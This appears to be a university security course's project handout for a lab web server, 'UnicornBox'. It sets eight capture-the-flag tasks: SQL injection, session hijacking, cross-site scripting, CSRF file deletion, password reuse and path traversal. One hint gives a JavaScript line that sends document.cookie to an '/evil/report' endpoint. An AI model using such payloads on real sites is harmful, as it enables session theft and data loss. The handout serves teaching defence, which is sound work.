Getting Started

Your task is to find eight vulnerabilities in the UnicornBox servers. When you successfully execute an exploit, the status entry on your scoreboard will change from 0 to a timestamp, to indicate that you have received a flag. Your goal is to collect all eight flags. In addition, the status entry on your scoreboard will update each time you successfully execute an exploit.

If you are working with a partner, you need to acquire each flag on your own server to receive credit for it.

All your exploits will be done through a web browser. We strongly recommend Firefox or Chrome. To get started, open https://box.cs161.org and log in with your Berkeley account.

On this splash page, you can view your progress and reset the server (see below). Note that all the vulnerabilities will be at the vulnerable server https://box.cs161.org/site—there are no flags on the splash page.

Writeup

Each group must submit writeup–two pages maximum, please. For each of **flags 3–8 only**, include a brief description (2–3 sentences) of how you acquired the flag, and a suggestion (a line of code or 2–3 sentences) for how to protect against your exploit.

Grading & Deliverables

- 70 points for finding exploits (8.75 points for each flag). You do not need to submit anything, since flags are automatically registered on the server.
- 30 points for the writeup (5 points for each of flags 3–8). Submit a writeup to Gradescope, and remember to add your partner if you worked in a group.

Additional Notes

- The difficulty rating of each flag is based on students' experience from past semesters. You might find some of the hard-rated flags easy, and some of the easy-rated flags hard. Feel free to work on them in any order you choose.

- In case you break the vulnerable server beyond repair, you can reset the database used by the server and clear all stored files. Resetting will not clear your scoreboard progress.
- Please do not DoS our server. None of the exploits require brute-force.

General Tips

Here are some general tips for the whole project.

- We recommend completing Q1 of Homework 7 before starting this project.
- Because the website is black-box (you don't have the source code), you will need to perform SQL injection attacks without seeing the query and the response. We recommend first writing out what you think the backend query is, with blanks where you think user input is substituted. Next, think about where on the website the user input comes from. Finally, write out an injection attack and enter it where you think the user input comes from. This may take some trial and error before you succeed.
- The backend for this project exclusively uses single quotes for SQL queries.
- It is possible to select constants in SQL rather than selecting column names. For example, `SELECT 1, 'foo', 'evan'` will return a single row with 3 columns, with values of `1`, `'foo'` and `'evan'`. You may find this useful if you can guess the format of the rows being selected in one of the server's SQL queries.
- Consider looking into the `UNION` keyword to return the result of two queries without usage of a semicolon.

Log in as user `dev`

Difficulty: Easy

Developers use an account with the username `dev` to perform quality assurance testing on UnicornBox. Fortunately for us, they’re sloppy and haven’t cleaned up any leftover comments before releasing UnicornBox. See if you can find a way to get `dev`’s password and log in.

Your task: Log in as user `dev` through the login page. Note that gaining access to `dev`’s account through other means will not satisfy this flag.

Change the text of `ip.txt`

Difficulty: Easy

The `cs161` user is using UnicornBox to store a file called `ip.txt`. `cs161` is a special-purpose account on UnicornBox. It uses a separate login mechanism, so you won't be able to log in as `cs161`, but you may still be able to change some of its files.

Your task: Change the contents of `cs161` user's `ip.txt` file to be `161.161.161.161`.

Obtain `shomil`'s password hash

Difficulty: Medium

The UnicornBox database uses the following table `users` to store its accounts:

```
CREATE TABLE IF NOT EXISTS users (
    username TEXT,
    md5_hash TEXT,
    -- Additional fields not shown.
);
```

Your Task: Steal the password hash for user `shomil`.

Gain access to `nicholas`'s account

Difficulty: Hard

UnicornBox uses token-based authentication. The database stores a table that maps session tokens to users:

```
CREATE TABLE IF NOT EXISTS sessions (
    username TEXT,
    token TEXT,
    -- Additional fields not shown.
);
```

Whenever an HTTP request is received, the server checks for a `session_token` value in the cookie. If the cookie contains a token, the server selects the username corresponding to that token from the `sessions` table.

Your task: Gain access to `nicholas`'s account.

Tip: Cookie values may contain anything other than semicolons, which are used as delimiters in cookie syntax.

Leak `cs161`'s session cookie

Difficulty: Medium

Because it is a special-purpose account, you won't find `cs161`'s session token in the database. However, `cs161` still sends a `session_token` cookie to the server with every request, so you might be able to leak `cs161`'s token using a different attack.

Your CS161 alumni ally has inserted some evil malware that lets you log arbitrary values to an internal dashboard. When you send a HTTP GET Request to the `/evil/report` endpoint and include a `message` parameter, the `message` is posted to the `/evil/logs` page. Try it by visiting the following URL in your browser!

```
https://box.cs161.org/evil/report?message=hello1234
```

Your task: Leak `cs161`'s session cookie by pushing it onto the `/evil/logs` page.

Tip: You may want to try this attack on yourself before executing it on another user.

Tip: You may find this block of JavaScript code useful:

```
fetch('/evil/report?message='+document.cookie)
```

Tip: You may assume the cs161 user will be browsing the main pages of the site in the background (e.g. home, list, upload, etc.).

Create a link that deletes users’ files

Difficulty: Medium

For convenience, UnicornBox allows you to quickly and easily delete all the files you have in your account, with the click of a single button. As an attempt to remain secure, they have made sure that only POST requests will actually delete the files—GET requests will not succeed. In addition, they have implemented a cross-origin resource sharing (CORS) policy that denies POST requests from any external origin. This means that POST requests to delete all files only succeed if they originate from the UnicornBox website.

Your task: Create a link that deletes user’s files. Once you have figured it out, execute the attack on yourself to earn the flag!

Note that this link must work for any logged in user, not just yourself. In other words, you must be able to email or text this link to someone else, and when they click the link, their files are immediately deleted.

Tip: To make a POST Request in JavaScript, use this line of code:

```
fetch("URL",{method:"POST"})
```

Note that there is no semicolon at the end. For example, to make a POST request to `auth.berkeley.edu`, you would run the following JavaScript:

```
fetch("https://auth.berkeley.edu/",{method:"POST"})
```

Gain access to the admin panel

Difficulty: Hard

UnicornBox has a special panel for administrators. Your task is to log into the admin panel.

Password authentication for the admin panel is handled separately from the database. However, the administrator does use UnicornBox for day-to-day file storage, so they may also have a normal user account.

Your task: Gain access to the admin panel.

Tip: Neither `nicholas` nor `shomil` are administrators of the site. Your first step might be to figure out the username of the administrator.

Tip: Consider human factors. Many people reuse passwords.

Tip: We recommend completing Flag 3 before trying this flag.

Leak some secret configuration variables

Difficulty: Medium

UnicornBox stores some configuration variables in a `config.yml` file in a folder separate from the users' files: The layout of the server storage is as follows:

```
site/
  files/
    foo1.txt
    foo2.txt
    ...
  config/
    config.yml
```

Your task: Gain access to the secrets stored within `config.yml`.

Tip: Most browsers modify URLs before they are truly actually sent to the server. If you are having trouble determining what URLs are sent to the server, consider using the Network tab of your browser's debugger.

Tip: What happens if you try to access a file that your user account doesn't have access to? Consider what has to be true before a file is "served" from the file system in this website.